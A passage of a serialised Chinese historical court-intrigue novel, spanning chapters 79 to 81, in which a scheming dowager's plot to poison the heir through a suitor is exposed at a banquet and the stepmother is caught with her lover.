“因为崔姑娘并非传言的那般蠢笨,老夫人要找颗棋子害兄长,不是崔姑娘也会是别人。
有时候聪明人更懂得如何抉择,而蠢人一旦**控往往不管不顾,能惹出天大的乱子。”
邢泽刚告诉挽星,崔易欢将药交给了侯爷,可见叶桢没看错她,她并不糊涂。
叶桢微笑,“现下崔姑娘可告知了?”
崔易欢亦露出笑,不过是苦笑,“少夫人既知我,定也知我如今处境。
我继母已经在撺掇父亲,将我嫁给蔺老王爷为续弦。”
蔺老王爷是当今陛下的叔祖父,去年刚做七十大寿,已**五位妻子,传言他于闺房上有特殊癖好。
前头几位王妃皆是被折磨而死。
“与其嫁给那样一个人,不如给侯爷为妾,至少侯爷后院干净,或许我还能活命。”
同老王爷结亲,是崔家夫妇房中密谈,当时叶桢和挽星就抱着鸡腿坐在人屋顶上。
可在家里不受宠的崔大姑娘,也知这件事,说明她在崔家夫妇身边安插了人。
前世,听关押她的婆子们闲谈,礼部尚书的继室夫人去寺庙拜佛时,被突然冲出来的疯子推下了山崖。
那疯子是原配夫人的陪嫁丫鬟,亦是崔家大姑娘的奶娘。
她被人按住时,嘴里喊的是崔大姑娘并非病死,而是被继室夫人毒害,杀继室夫人,是为崔大姑娘报仇。
那桩**案是几年后的事,叶桢前世未留意崔姑娘何时去世,无从推断继室下毒之事现下有无发生。
但如今的崔姑娘与从前变化颇大,叶桢自己就是重生之人,难免会多想。
她问了忠勇侯同样的问题,“为什么不是世子?”
若崔姑娘也是重生之人,为何要主动入局?
能在父母房中安插人的姑娘,想来也会有别的法子摆脱被嫁老王爷的命运。
入局后,却又撇开谢霆舟,选择了年纪比她父亲还大的忠勇侯。
实在反常。
崔易欢脸上苦意更甚,“连我父亲都觉我只配给老王爷做续弦,我又怎会没有自知之明,少夫人莫要同我开玩笑了。”
她略一停顿,看向叶桢,“倒是少夫人,明明是继夫人的儿媳,为何反帮原配夫人的儿子?”
叶桢眸光坦荡,“在叶桢心里无亲疏,只有对我好或坏。
兄长与侯爷护过我,我投桃报李,同样也想护一护他们。
不知崔姑娘将来会走到叶桢的哪个分类?”
崔易欢的解释看似合理,却并不能说服叶桢。
得知老夫人将崔易欢列为备选名单后,叶桢亲自盯过崔易欢。
从前虽怯懦无能了些,却不曾害过人。
且那日崔易欢躲在暗处偷听老夫人和付江叙话时,脸上滔天恨意让叶桢都震骇。
崔易欢和老夫人有仇!
而老夫人的另一个人选,则是真正的歹毒,野心勃勃,未达目的不择手段。
二选其一,叶桢暗中推了一把,让老夫人定下了崔易欢。
但崔易欢此人显然也不简单,叶桢才有此警告。
崔易欢这次发自内心的笑,“少夫人安心,就算不是前者,也不会是后者。”
她有自己的原则,她与老夫人和柳氏的仇怨,与叶桢无关,眼下瞧着叶桢和霆舟也非对立。
那么她自也不会寻叶桢的麻烦。
余光瞥见老夫人的人在身后探头探脑,叶桢伸手抽走崔易欢手中的帕子,扬了声调。
“听崔姑娘一席话,叶桢受益匪浅,不怕你笑话,我自小就不精女工,往后有机会还需得再同姑娘讨教一二。”
崔易欢脸色微变。
原主在崔家过得拮据,只能私下偷偷做绣活补贴家用,她精通女工的事父亲继母他们都不知道。
叶桢却知道!
她今日大声说出,既是迷惑老夫人,他们刚刚只是闲聊绣工,也是在震慑警告她。
连原主从前私下举动,她叶桢都能查到,那她如今更在叶桢眼皮底下。
心中戒备,崔易欢强行扯出一抹笑,“少夫人客气了。”
叶桢又笑眯眯的低语,“从这前往听兰院,会途经观景湖,父亲在那等你。”
崔易欢的心又被震了一下。
是叶桢在谢邦身边有人,还是谢邦连这个都告诉她?
她一路想着心思到了湖边,果然见忠勇侯在,但他身边还有两人。
一个是她的儿子霆舟,另一中年男子,崔易欢不认识。
见忠勇侯似不经意看过来,崔易欢假意惊慌,不敢打搅,福了福身就要转身,却慌乱间脚下一崴,跌入湖中。
入水那一刻,她明白了忠勇侯的用意。
落水的人挣扎求生时,哪里还顾得上身上的物件,事后老夫人若追究,她便可说药在水里丢了。
而她溺了水,也自不能再去执行老夫人的计谋。
并非她不愿,是无能为力!
忠勇侯用这样委婉的方式,说明他不想与老夫人翻脸。
崔易欢庆幸,她没透露自己的身份。
狗男人一如从前的在意自己的母亲,想到这个,崔易欢气得灌了口水……
岸上的三个男人,谁也没有动!
老夫人为了方便行事,将婆子丫鬟分别聚到了正院和灶房,湖边除了他们仨没别人。
被谢霆舟邀来做客的韩驸马问,“不救人吗?”
好歹是条人命。
谢霆舟为难,“是个年轻姑娘,救了就得负责。”
本想出手的韩子晋迟疑了。
驸马不得纳妾,他若强行纳,康乐维持大度形象,也会应允,但对方到了公主府能不能活,就不好说了。
他双手一摊,那他还是别多事了。
谢霆舟就看向忠勇侯,“到底是来做客的,你真要看着人淹死啊。”
忠勇侯就打算要离开的样子,“本侯去喊人。”
听兰是会水的,还是他亲自教会的。
眼下水里那个虽扑腾,却未下沉,可见也是有些底子的。
谢霆舟拉住他,幽幽道,“等你喊人来,救的就是尸体了。”
这三人的漠视,急坏了跟踪崔易欢的下人。
若崔易欢淹**,老夫人的计划岂不是要落败了?
可他也不能冲进去救人啊,就在他不知要不要去通知老夫人时,忠勇侯下了水,没一会儿将姑娘抱上了岸。
许是呛了水,姑娘被救上来时是昏迷着的,忠勇侯好人做到底,给她按压胸口,施救!
下人终
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于有了决定,他得去给老夫人汇报。
这崔大姑娘怕是不行了。
就算是行,被侯爷这样一救,也只能是侯爷的人了。
老夫人此时正带着宾客往席面走,一婢女跑来,“老夫人,夫人刚在佛堂抄经,晕倒了。”
众人便关切柳氏怎么了。
老夫人叹一口气,“老身这儿媳啊,为侯府操劳半生累跨了,偏她是个闲不住的。
知晓老身急长孙的姻缘,硬是拖着病体日日去佛堂为霆舟祈福。
今个儿一大早就起来了,定是又给累倒了。”
她歉意道,“叶桢已去了灶上安排,便请大家先行去席面,老身去瞧瞧。”
众人便纷纷夸赞柳氏,又催老夫人赶紧去,不必管他们。
老夫人便顺势吩咐下人,“去书房告知侯爷一声,请他也去看看夫人。”
她一直派人盯着的,谢邦今个一上午都在书房,有他这当众吩咐,谢邦就是装样子也得往眠眠那走一趟。
下人得令忙往书房跑,老夫人则到了佛堂。
原本柳氏被关佛堂,连老夫人都不得看望,但老夫人尽心为谢霆舟的事忙碌,感动了忠勇侯。
老夫人趁机为柳氏求情,忠勇侯这才松了口,看守得也不及从前那般严了。
柳氏晕在蒲团上,见到她来,偷偷睁了眼。
老夫人横她一眼,柳氏忙又重新闭上眼装晕,老夫人吩咐,“来人,夫人晕倒,抬回她自己的院子休养。”
看守佛堂的婆子担心柳氏真出事,也不敢阻拦。
柳氏一到自己房间,便睁了眼,急切道,“母亲,侯爷会来吗?”
老夫人要她今日重新得到侯爷的心,这是她的机会,她实在不愿再回佛堂了。
可她也担心侯爷不会来。
老夫人打量她,“整理一下,尤其你这张脸。”
柳氏自谢云舟死后,不曾再保养过,如今看着竟是老了许多。
可男人都爱俊俏女子。
又示意蛮奴将助兴香放进香炉,叮嘱柳氏,“等他到了,再让人点燃。”
老夫人沉声,“眠眠,这是你最后的机会,切勿办砸了。”
她如今对柳氏是有怨言的,可忠勇侯不肯纳妾,老夫人想着柳氏到底是他的妻,一旦发生了什么,以忠勇侯的心软,必不会再如从前那般冷待她。
柳氏忙各种保证。
安排好这边的一切,老夫人出了柳氏的院子。
跟着崔易欢的下人终于找到了她,“老夫人,事情有变……”
听完下人回禀,老夫人脸色黑沉。
怎么会好端端地落水?谢邦不是在书房吗?怎么会去了湖边?还有韩驸马又是什么时候来的?
老夫人带着满心疑惑赶到了湖边时,湖边已围了不少人。
忠勇侯将人救上来后,命人通知了崔家人,其余人得知崔易欢落水,有跟着过来看热闹的。
老夫人看这阵仗,心里莫名不安,“落水了,怎么不及时去更衣,还围在这里做什么?”
她低声问下人。
下人一直在找老夫人,对湖边后面发生了什么,一概不知。
茫然摇头。
老夫人指望不上他,只得走进人群,却看到崔易欢湿漉漉地跪在地上,身上披着一件披风。
忠勇侯脸色黑沉,“你看见本侯为何会怕得掉水里?再不说实话,本侯只得将你扭送官府。”
第79章 侯爷质问
老夫人心口一跳,强自镇定问道,“出了何事?”
忠勇侯同她行礼,“这女子落水,儿子好心相救,崔家却说儿子与她有了肌肤之亲,得娶进门。
儿子怀疑这是崔家故意讹人,在审她为何落水。”
崔老夫人忙道,“侯爷,这话可真是冤枉。”
她原以为大孙女能嫁给侯府世子呢,谁知会有落水一出。
听闻是忠勇侯救的人,还按压了大孙女心口,被老子碰过的女人,做儿子的怎还会要。
若谢霆舟不要,崔家也不能再留她了,只能将她嫁给蔺老王爷。
可老王爷虽是皇家的,到底没实权,年纪也大了,哪能和掌兵权得陛下信任的忠勇侯比。
崔老夫人虽不喜大孙女,但在有得选的情况下,还是愿意为孙女筹谋一二的。
女子嫁得好,才于娘家有益,崔府成了忠勇侯的岳家,忠勇侯怎么也得拉拔拉拔崔家,因而她咬**忠勇侯。
却没想到忠勇侯并不愿娶孙女,反而将孙女当成犯人审。
还捎带上了崔家,崔家万不能落得一个,为了嫁女不惜算计侯府的名声。
可忠勇侯听不进她的解释,见崔易欢还不开口,便扬声吩咐,“来人,请大理寺。”
他这一根筋的架势,让崔老夫人有些慌,便同老夫人说,“老姐姐,我家这丫头真就是不小心落了水。
你刚也同她接触过,还赏了她不少好东西,可见你也是喜欢她的。
能入老姐姐你眼的,断做不出故意落水的事,还请你帮忙跟侯爷说说,万不能入了大理寺啊。
这姑娘家家一旦入了大理寺,她可就没活路了啊,我崔家也不能出来赴宴就折了一姑娘啊。”
忠勇侯不让她带崔易欢走,她寻不到机会问崔易欢究竟怎么回事。
但她记得老夫人留过崔易欢,又送她东西,这世间没有无缘无故的好。
她猜这落水就是老夫人促成两人的把戏。
只不知为什么救人的会是忠勇侯。
但不管结果如何,侯府老夫人这个始作俑者不能不作为,让她崔家担了所有。
老夫人听出她话里的暗示,嗔了忠勇侯一眼,“姑娘家落水本就受惊,怎还能让她跪在这。”
她同崔老夫人道,“你别同我家这个莽货计较,快带崔大姑娘回去换衣裳吧,若因此风寒那老身真是罪过了。”
怕忠勇侯阻拦,她又道,“你妻子都晕倒了,你快去瞧瞧。”
忠勇侯便有歇事的架势,“只要崔家不寻本侯麻烦,本侯自也不愿在这与他们掰扯。”
崔老夫人听了这话,不干了。
这是要甩手不负责啊,那她这孙女岂不是白养了。
她又坚持要忠勇侯表个态,才肯带人离开。
忠勇侯便再次让人报官,见侯府下人真往外走,崔易欢哭了。
她道,“侯爷,小女真的是崴脚才落水的。
小女怕侯爷,是……是小女自己心虚,没想到会在这里遇到人。”
忠勇侯眯了眯眸,“为何心虚?”
“谢邦!”
老夫人急了,她担心崔易欢交代出她。
“您怎能如此不懂怜香惜玉,对一个姑娘家步步紧逼。
你救她虽是好心,但有接触亦是真,女子清白何其重要,母亲做主,替你应下这门亲事,择日提亲,此事就此作罢。”
她拿出母亲的权威。
但向来听她话的儿子,这次却当众忤逆了她。
“母亲恕罪,并非儿子没有担当,实在是儿子觉得这里头有古怪,不得不问清楚。”
他又看向崔易欢,厉喝,“说!”
崔易欢吓得身子一抖,似彻底没了理智,“世子没开窍,不愿娶妻,让老夫人很是犯愁。
老夫人便将娄夫人的牌位请到了听兰院,让我趁世子给娄夫人送祭饭的机会,去听兰院偶遇世子……”
她难以启齿,头越来越低,声音却依旧清晰,“老夫人给了我一瓶药,让我用在世子身上,好让我们成事。
我第一回做这种事,心头忐忑不安,先是遇到少夫人,她同我聊绣工,我做贼心虚,用尽全部力气才没露馅。
谁想又在湖边遇到了侯爷和世子,这才吓得慌不择路……”
她同老夫人道歉,“老夫人对不住,是小女无能,有负你所托,那药在水里掉了。
小女知您对世子一片良苦用心,本不该说出来,但小女不能被送官。”
老夫人气得险些咬碎老牙,“你这丫头胡说什么,老身只是送了你一瓶时新的香露,几时给过你什么药?”
既然药掉水里了,那就死无对证。
“老夫人,您怎能不承认?”
崔易欢满脸震惊,而后满脸慌乱地对忠勇侯解释,“侯爷,您信我,老夫人真的给了小女一瓶药,说是只需往世子鼻尖弄一点……还说您会让爵……世子知道了小女的好,也不会怪罪……”
她慌得没什么逻辑的,将老夫人诱导她的话一股脑说了。
“你们信我,我真的没有说谎。”
老夫人脸色难看至极,却极力维持平静,“你这越说越荒唐了,莫不是被吓糊涂了。”
崔老夫人自觉了解孙女没城府,编不出这些话,信了崔易欢。
她早知老夫人对谢霆舟没真心,察觉出一丝不对劲。
侯府老夫人这哪是要给世子娶妻,是要送世子入黄泉啊,却利用她家的傻丫头。
孙女只是落水就被忠勇侯揪着不放,若当真谋害了世子,那崔家还不被忠勇侯掀了。
侯府老夫人这是要害死她崔家啊。
“老姐姐,我这孙女人不够机灵,容易被哄骗,但却也是个老实的,不擅撒谎。”
崔老夫人沉了脸,“都是做祖母的,你心疼自己的孙儿,老身能明白,但拉我崔家下水便是**道了。”
她试图将错全推到老夫人头上,崔家反成受害者。
她又对忠勇侯道,“侯爷,如今事态明了,我家这丫头是被你母亲教唆。
但她到底良善,作不了恶,才吓得落了水,崔家欢喜赴宴,却被人当了枪使,险些还被侯爷送了官,还请侯爷给崔家一个交代。”
崔易欢听信老夫人谗言,有错,但老夫人一个长辈诱骗晚辈更是居心叵测
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其余看客也隐隐看出些什么,看向老夫人的目光便带着审视、猜度、疏离甚至愤怒。
这次的宴请虽没明说是给谢霆舟择妻,但老夫人也没刻意隐瞒。
大家心知肚明,纷纷让自家小辈精心装扮前来,却原来只是陪衬,还是给一个嫁不出去的老姑娘做陪衬,心高气傲的夫人小姐们如何不气。
老夫人既早已定下崔易欢,又何故戏耍她们。
又有人想,真正疼爱长孙,又怎会给他选崔家姑娘,还用下药那等手段。
对孙子都这般无情,这样的老夫人不来往也罢。
众人心思都写在脸上,老夫人看了,眼前一阵阵眩晕。
她风光了大半辈子,最是要脸面的,怎么都不没想会这样栽跟头。
“崔大姑娘只怕是出了癔症,老身从不曾与她说过那些。”
她坚持否认。
却听谢霆舟嗤笑一声,“祖母当真是我的好祖母,为了给我娶妻不惜让人给我下药。
可孙儿又几时同祖母说过,自己不肯娶妻。”
他双臂一展,花孔雀似的转了个圈,“孙儿若不愿娶妻,今日怎会精心打扮?”
余光扫视全场,最后不经意地落在叶桢身上,“孙儿至今未婚,只因先前不曾遇到那个对的人。
却被祖母说成了不开窍的实心木头,祖母这爱胡说的毛病,当真是多年不改。
当年,我被人打晕丢进火中,明明听到继母柳氏的声音。”
他讥讽一笑,“祖母却帮着柳氏,坚持认定是孙儿自己贪玩,笃定得好似亲眼所见一般。”
这话叫众人想起他当年毁容一事,便纷纷看向他的脸。
崔易欢亦抬眸看了过去,难受得剖心挖肝般。
披风下的手紧紧攥着,原来她的孩子,竟是被柳氏和老夫人所害。
这两个毒妇。
她艰难掩下满目心疼,震惊道,“这么说老夫人您骗我,您根本不是为了世子好?”
众人便觉得崔家大姑娘当真有些傻。
在众人同情轻蔑的眼光中,崔易欢突然发了狂,她起身紧紧捏着老夫人的手。
“老夫人,您身为长辈,怎能如此龌龊,欺骗我一个晚辈?
我娘临死前千叮咛万嘱咐,让我切勿行恶,我以为世子真是不愿娶妻,而您又当真看中我为孙媳,才不得不如此为之。
加之我年岁已大,再不嫁再难有出路,这才应了您的请求。
可您,可您竟是要我去害人,若我今日成事,往后我知道真相,怎有脸见亡母灵位,怎有脸活。
我与您无冤无仇,您为何要如此对我?”
她指节泛白,恨不得捏碎了老夫人的手腕,老夫人被她捏得生疼,眩晕的脑子都清醒了。
“是霆舟让你污蔑老身的是不是?”
她忍着疼痛满脸无奈,“霆舟毁容,心中不平,这么多年迁怒误会老身。
你故意打翻茶盏,湿了衣裳,更衣后又同老身哭诉崔家苛待,老身心中不忍,赠你衣裳首饰。
但其实这都是你的谋划,为的就是让人误会是老身留下你,指使你,对吗?”
第80章 老夫人被实锤
崔易欢没想到她还能倒打一耙。
有这样一个祖母,她的孩子这些年也不知受了多少委屈。
“我与世子今日才见,如何受他指使。”
老夫人恢复从容,“霆舟一身武功,神出鬼没,是不是第一次见老身不得而知。
但你们是晚辈,今日污蔑老身之事,老身不会同你们计较,回家去吧。”
谢霆舟比她笑得更从容。
“祖母觉得,往日最是好相处的父亲,今日为何要深究崔姑娘落水一事?”
老夫人脸上笑意微僵,感觉事情似乎又要失控。
就听得谢霆舟同忠勇侯道,“父亲,拿出来吧,否则儿子又得挨冤枉了。
您最是孝顺,但不辩黑白的孝便是愚孝,儿子知您不是这样的人。”
忠勇侯似被他说动,从怀里拿出一个瓷瓶,托在掌中。
“母亲,这是儿子救崔姑娘时,从她身上掉出来的。
并非助兴药,而是剧毒,一个赴宴的姑娘身藏剧毒,儿子不得不审……”
他停顿了下,很是一言难尽,“没想竟与您有关,您同儿子说实话,这药是不是您给她的?”
老夫人脸色顿变,“不是我给的……”
她企图再狡辩。
吴冬押着一人上前,“侯爷,这人鬼鬼祟祟想出府,属下想着或许与此事有关,便给扭了来。”
那人正是先前负责盯着崔易欢的下人,在崔易欢指认老夫人时,担心忠勇侯会审问府中下人,打算先躲出去,被吴冬逮个正着。
吴冬在军中多年,有的是让人开口的法子,下人受不住,没多会儿,便交代自己是奉老夫人的命盯着崔易欢的。
与崔易欢所言对上了。
老夫人利用崔家大姑娘谋害自己的长孙,实锤了!
忠勇侯满目震惊和失望,“母亲,霆舟是您的亲长孙。
他虽性子耿直,不会讨好卖乖,但心底最是良善,听兰走时,儿子在外征战,是您亲自抚养他。
事后儿子归来,他常同儿子念起祖母的好,在边境他也常想起您,可您为何要这样对他?”
究竟为何?
自是因为他占了嫡长孙这个名头,占了世子之位。
可老夫人能说吗?
她只能摇头,“不是老身给的,老身怎会害自己的孙儿,说不得是她自己藏的。”
这又要把事情推给崔家了。
崔老夫人正要急眼,谢霆舟朝韩驸马拱手,“还请韩兄说句公道话。”
韩子晋莫名其妙看了一出戏,但他喜欢谢霆舟唤他韩兄,而非和其他人那般,一口一个韩驸马。
因而他很是详细地先将崔易欢落水,他和谢霆舟不好相救,忠勇侯怕出人命,只得下水的事说了说。
又作证,“那瓷瓶确实是从崔姑娘袖中掉落,被忠勇侯收下。”
实则是忠勇侯救人时,背着韩子晋将瓷瓶放进了崔易欢袖中。
谢家父子这些年不常在京城,先前与韩子晋也无接触,韩子晋没有帮他们撒谎的理由。
何况,场中众人其实心里都有答案,老夫人的辩白无力得很。
只不过大家也想不通,老夫人为何要害自己的孙子。
若说是因谢霆舟毁容一事,两人有了龃龉,她担心谢霆舟承爵后对她不敬。
可侯府二公子已经死了,三公子还是个奶娃娃,高门贵族都以家族荣耀为重。
她是侯府老夫人,更应明白同样得圣眷的谢霆舟,活着比死对侯府更有帮助。
谢霆舟替众人解了惑,“祖母偏疼继母,连带着也看重她的几个孩子,恨不能将这侯府全给了她们母子。
祖母若开口,这侯府孙儿可以让给他们,出府另居。
但孙儿始终想不明白,祖母缘何偏爱继母到如此地步?”
众人觉得这已经算是侯府秘辛了,不是他们能听的。
但能来这的,都是好八卦的,脚似生了根,挪都挪不动。
老夫人被当众质问,气得嘴唇发抖。
“她救我性命,又孝顺懂事,我疼她几分自是应该,但并非你妄言的那般……”
忠勇侯见她还在狡辩,一副对母亲很无力的样子,朝众人拱了拱手。
“本侯多年在外,如今回来才发现家里一团糟,实在叫诸位看笑话了。”
侯府的笑话的确不少,一桩接一桩的。
但众人听了他这话,便觉这不是忠勇侯的问题,他忙着保家卫国呢,家里又不是他管。
纷纷劝慰。
忠勇侯苦涩摆手,同谢霆舟和叶桢无奈道,“让贵客空腹至今,实在是侯府失礼,霆舟,桢儿,你们替为父好生招待贵客。”
崔老夫人欲言又止,她家的事还没章程呢,就见忠勇侯看了过来。
“崔老夫人,刚听你话的意思,你既知我母亲单独留下崔姑娘,却不等着崔姑娘一道,可是不在意这孙女?”
“绝没有的事……”
崔老夫人怎能承认,正欲寻由头解释,就被忠勇侯打断了。
忠勇侯继续道,“那就是你猜到我母亲心思,打算坐地收利。
你这般纵容,事后却又咬着本侯负责,亦不厚道。
崔姑娘单纯,不知你两位老人的心思,稀里糊涂应承,最后又失误落水。
到底是未出阁的女子,本侯与她有了碰触,的确该负责。
但你崔家放纵在前,崔姑娘虽无心却也险些害了我儿,让本侯娶她,本侯心中实难平。
故而本侯最大限度,便是纳她为妾,若崔家愿意,明日侯府的花轿便会上门。”
老夫人气的靠在蛮奴身上,忠勇侯这话等于替她承认,这一切都是她做的,还要留下崔易欢,“谢邦,我是你母亲……”
你怎能这般下母亲脸面。
忠勇侯打断她,“母亲,多说无益,知错就改是您教儿子的道理,眼下您要在这同儿子细说吗?”
老夫人从前觉得谢邦直肠子好操纵,现在恨透他这性格,索性装晕不语。
还没离开的众人则听得一愣一愣的。
忠勇侯刚刚一副要吃了崔易欢的样子,现下居然说她单纯被骗,还要纳为妾室。
虽说礼部尚书的嫡女给人做妾,有些屈辱。
但崔易欢年纪大了,对方又是忠勇侯,这就算不得委屈了。
要知道两代忠勇侯都不曾纳妾,柳氏夫人又病了,崔易欢入门便是唯一伺候忠勇侯的,运气好再怀个一儿半女,不是没有被扶为平妻的可能。
崔老夫人也是这样想的,便应了。
虽为妾,总比进不了侯府强。
但是等回去,她定要好好教教崔易欢规矩,让她入侯府后,事事以娘家为重,多给忠勇侯吹吹枕边风,让他多关照崔家。
刚这样想,忠勇侯的话又砸了下来,“你既应下,那此刻起,她便是我侯府的人。
还望崔老夫人多加关照,莫要让她受了委屈才是。”
这般说,还指了个侯府的婆子给崔易欢,让她陪着回崔家。
崔家夫人憋屈得要命,又不得不忍下。
叶桢适时上前,招呼大家前去用膳,又对身边的朝露道,“你带崔姨娘去我的院子换套衣裳。”
她改口的很快,将崔易欢定为侯府的人。
崔易欢便知她和忠勇侯是一边的,而忠勇侯刚当众夸谢霆舟,是为谢霆舟从前被败坏的名声洗白。
“这样看来,谢邦这个父亲还不错恶劣。”
崔易欢如是想道。
朝露得了令,走到崔易欢身边扶起她。
她个子矮,先前一直站在叶桢身后,如今走到前面,才将整张脸露出来。
正欲跟着谢霆舟离开的韩子晋,看清她的脸后,手中折扇啪的一声落了地,“九娘。”
朝露猛然抬头,问他,“贵人怎知我娘的名字?”
心里却隐隐有了猜测。
韩子晋疾步上前,“你娘可姓伍?”
朝露点头,“贵人认识我娘?”
韩子晋红了眼。
何止认识。
朝思暮想!
牵肠挂肚!
他正欲再问朝露话,就被谢霆舟揽了肩头,“韩兄,先去用膳,崔姨娘也需更衣,有什么话稍后再说。”
韩子晋想到什么,忙敛了情绪,“好,我得好好尝尝侯府的席面。”
余光却不由打量朝露,袖下的手隐隐颤抖。
朝露则看向叶桢。
叶桢朝她微微点头。
发现韩子晋经历与朝露父亲对得上后,她便在关注韩子晋的事。
她的举动被谢霆舟察觉,叶桢也没瞒他。
谢霆舟和她想法一致,觉得韩子晋就是朝露的父亲。
今日宴请,谢霆舟露面后借口出府办差,路上巧遇韩子晋,寻了由头将人带进了府。
没提前告知朝露,一来怕韩子晋不是,平白叫小丫头失望。
二来是谢霆舟查到,韩子晋这些年一直在暗地找乡下的妻儿,可见他并非抛妻弃子。
却多年来不曾找到人,说不得里头有人作梗。
便想着确定两人关系后,弄清楚里头缘由再告知朝露,好让孩子有个提防。
韩子晋顺着朝露的视线留意到叶桢,低声问谢霆舟,“那孩子是少夫人的婢女?”
“是也不是,听闻日子艰难,叶桢心慈带她入府,却只签了短契……”
在谢霆舟拐弯抹角夸叶桢时,精心装扮过的柳氏,得到下人回禀,“夫人,侯爷来了。”
柳氏闻言一喜,忙催着下人离开,亲自点燃了香炉里的催情香。
而后躺回到床上,假意昏睡。
“眠眠,你怎么了?”
有男子的声音在耳边响起,柳氏睁眼,竟是付江。
她心头一惊,“怎么是你?”
付江有些不悦,“得知你不舒服,我过来看你,怎的你竟还不欢迎?”
但其实他混进来,更想看的是谢霆舟的死,是忠勇侯断子绝孙的悲惨。
“不是……”
柳氏想解释,但又不知怎么解释。
她总不能告诉心上人,她躺在这里是为了勾搭忠勇侯。
可很快,她发现自己也无法解释了,热意上头,她理智很快丧失。
付江亦觉心猿意马,两人很快抱作一团……
第81章 柳氏付江被抓现场
宴席上。
满桌美味佳肴,韩子晋却食之无味,满心只盼着早些散场,他好寻机会问朝露的事。
更想再见一见那小人儿,问问她这些年他们都去了哪里,为何她会落到侯府为婢的下场,她的娘亲和祖母哥哥们呢。
朝露没在宴上露面,菜肴珍馐倒是源源不断端上来,宴席久久不散。
听说菜品和数量是老夫人要求的。
韩子晋不由怨上侯府老夫人,没事整这么多菜做什么。
不知大渊境内,如今还有许多百姓食不果腹么,当真是个不知事的老太太。
怨完老夫人,他实在等不了,借口酒喝多了要去方便,拉着谢霆舟一起离了席。
到了僻静处,他忙道,“请谢指挥替我寻个机会,我想单独见见那孩子。”
谢霆舟问,“不知韩兄为何要见她?”
韩子晋沉默片刻,如实道,“她应是我的女儿,我流落乡村那些年曾娶过妻。”
见他没有藏着掖着,谢霆舟这才道,“家乡发洪水,她母亲和祖母皆遇难。
她大哥带着一双弟妹一路逃荒,几年前转辗来到京城寻父,为养活弟妹,伍大卖身入侯府,成了柳氏的马夫。”
“你说我大儿子也在侯府?”
韩子晋眼底蓄满水光,“那老二呢,他还好吗?是不是也在侯府?”
他离家时,老二才三岁,跌跌撞撞追着不舍他出门走镖。
老大当时也不过六岁,懂事地安慰弟弟,“爹爹去赚银子给奶看病,很快就回来了,阿弟乖……”
可他再回去,伍家庄已被大水冲了个干净。
听说存活的要么坐着杀猪盆,要么抓着浮木顺着水流漂走了,他再无一家人的消息。
烙进心坎的记忆,何时想起来,都会让韩子晋泪目。
好在,他终于见到了女儿,甚至马上还能见到儿子们。
他笑着擦了擦眼睛,满眸期待等着谢霆舟的回答。。
谢霆舟自诩铁石心肠,见他这样心里还是生出一丝不忍。
但最终还是将伍大被柳氏处置,伍二兄妹为大哥报仇的事告知了他。
“此事是我侯府疏忽,柳氏和谢瑾瑶虽已被父亲发落,但到底无法让伍大活过来,这是侯府欠伍大的。
得知他带弟妹来京的目的,我们只能替他们寻父,以作弥补,最终寻到了韩兄身上。”
他今日拉韩子晋过来,是要合作而不是树敌的,因而说话用了点技巧。
韩子晋满心悲愤。
但他生在权贵之家,最是明白人分三六九等,伍大成了侯府的奴,便是被无故打死,侯府也无需偿命。
这京城,每日被杖杀丢去乱葬岗的奴才不知凡几。
忠勇侯没灭老二和女儿的口,理智上说已算仁义。
可死的是他的儿子,是他苦寻多年的儿子,他拳头紧握,“我不怪你与侯爷,可侯夫人害我儿性命,我身为人父,不能什么都不做。”
谢霆舟怎会在意柳氏性命。
“我不阻你,也非我为侯府开脱,但你真觉得伍大的死只有柳氏有责任吗?”
“此话何意?”
伍家庄当年流落在外的人,这些年陆陆续续回了老家。
只有他的妻儿毫无音讯,他也想过是不是有人从中作梗,可他并没找到证据。
谢霆舟叹气,“说来这也是我侯府的丑事,但也是因着这桩丑事,我们才会将韩兄和朝露联系上。”
他也没卖乖子,直言道,“我那继母柳氏似与青州县令付江有牵扯。
在查付江的过程中,我们发现他半夜进了公主府,一番打听才知他就是当年寻回韩兄之人。
公主感激他,已着手将他调任京城,不知韩兄可知此事?”
当年韩子君走镖遇匪受伤昏迷,是付江救的他,并认出他的身份给京城送了信,这事韩子晋自然知道。
虽恼付江通知康乐,但也不得不承他救命之恩。
康乐给付江调任的事,他却是没听说,康乐也没提。
韩子晋不是糊涂人,他问,“你怀疑当年付江救我一事有蹊跷?”
谢霆舟的确有这个猜测,但也只是猜测。
付江蝇营狗苟之辈,却藏着救驸马这样大的恩情,至今才用,有些反常。
而康乐公主这些年如履薄冰,却为了付江,冒着被皇帝猜忌的风险,插手官员调任,更是反常。
只怕当年之事并不如表面那般简单。
但没有证据的事,谢霆舟不好说,点到为止,韩子晋自会去查。
“我们出来的够久了,先回去吧,待宴席散了,我带你去见她。”
得了承诺,韩子晋也知忠勇侯不在,谢霆舟这个世子得去宴上招待,便跟着他回了宴席。
而忠勇侯则亲自送老夫人回院子。
“这些年,我一直以为家中和睦,对霆舟的控诉置之不理,以为当真是他顽劣,无理取闹。
可是母亲,今日我才知您竟对霆舟起了杀心,您可知儿子的心里有多难受?”
老夫人沉默不语。
在忠勇侯面前她已不想狡辩,细细回忆今日布局,到底是哪里出了差池,还是真的天不遂人愿。
捋着捋着她突然发现竟把柳氏忘了,她还在房中等着呢。
“既你认定是我要害你儿子,那我也不敢劳烦你相送了。”
老夫人终于开了口,“我来湖边前,眠眠晕倒了,你去瞧瞧吧,别出了事回头澜舟怪你。”
“好端端的怎么晕倒了?”
忠勇侯很不耐烦提她的样子。
“你的妻子,我怎么知道。”
老夫人声音冷沉,彰显她生气了,“看不看随你,总归我如今是个恶毒老太婆,也使唤不动你。”
她如此刻薄,行使母亲的特权。
纵然谢邦知道她犯错,还能真拿她这母亲如何不成。
果然,谢邦软了神情,“母亲,您何苦这样戳儿子的心,手心手背都是肉,还望母亲往后善待霆舟,莫要再让儿子为难。
柳氏既不舒服,儿子便去看看,母亲陪儿子一起去吧。”
老夫人见他终于答应,也就不驳他的面子,先将人哄过去,她再寻由头离开就是。
但她怎么都没想到,付江会进府,还和柳氏厮混在一处,因而见忠勇侯身后跟了不少下人,她也没阻拦。
总归她是侯府老夫人,想要儿子儿媳多相处,带走下人的权利还是有的。
可一行人浩浩荡荡刚进院子,就听到屋里传来绮靡的声音。
老夫人意识到不对劲,忙朝蛮奴使了个眼色,想让她先进去瞧瞧。
忠勇侯却比蛮奴动作更快,他脸色铁青,一脚踢开了房门。
两个赤条条的人便展露在众人眼前。
“柳氏。”
忠勇侯怒声震天,“你好大的胆子!敢在本侯眼皮子底下偷人。”
他大步上前,一脚踢在了付江的敏感处,将人踢下了床。
